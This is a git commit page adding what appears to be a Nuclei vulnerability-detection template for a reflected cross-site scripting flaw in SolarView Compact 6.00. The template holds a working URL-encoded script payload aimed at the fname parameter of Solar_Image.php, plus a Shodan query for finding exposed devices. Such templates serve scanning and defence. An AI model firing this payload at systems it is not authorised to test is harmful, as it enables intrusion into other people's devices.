Merge pull request #4982 from projectdiscovery/solarview-compact-xss
Create solarview-compact-xss.yamlpatch-1
commit
fe631c7d8b
|
@ -0,0 +1,33 @@
|
|||
id: solarview-compact-xss
|
||||
|
||||
info:
|
||||
name: SolarView Compact 6.00 - Cross-Site Scripting(XSS)
|
||||
author: ritikchaddha
|
||||
severity: medium
|
||||
description: |
|
||||
SolarView Compact v6.0 is vulnerable to cross-site scripting (XSS) vulnerability via `fname` at /Solar_Image.php.
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: http.html:"SolarView Compact"
|
||||
tags: xss,solarview
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/Solar_Image.php?mode=resize&fname=test%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- 'value="test"><script>alert(document.domain)</script>">'
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "text/html"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue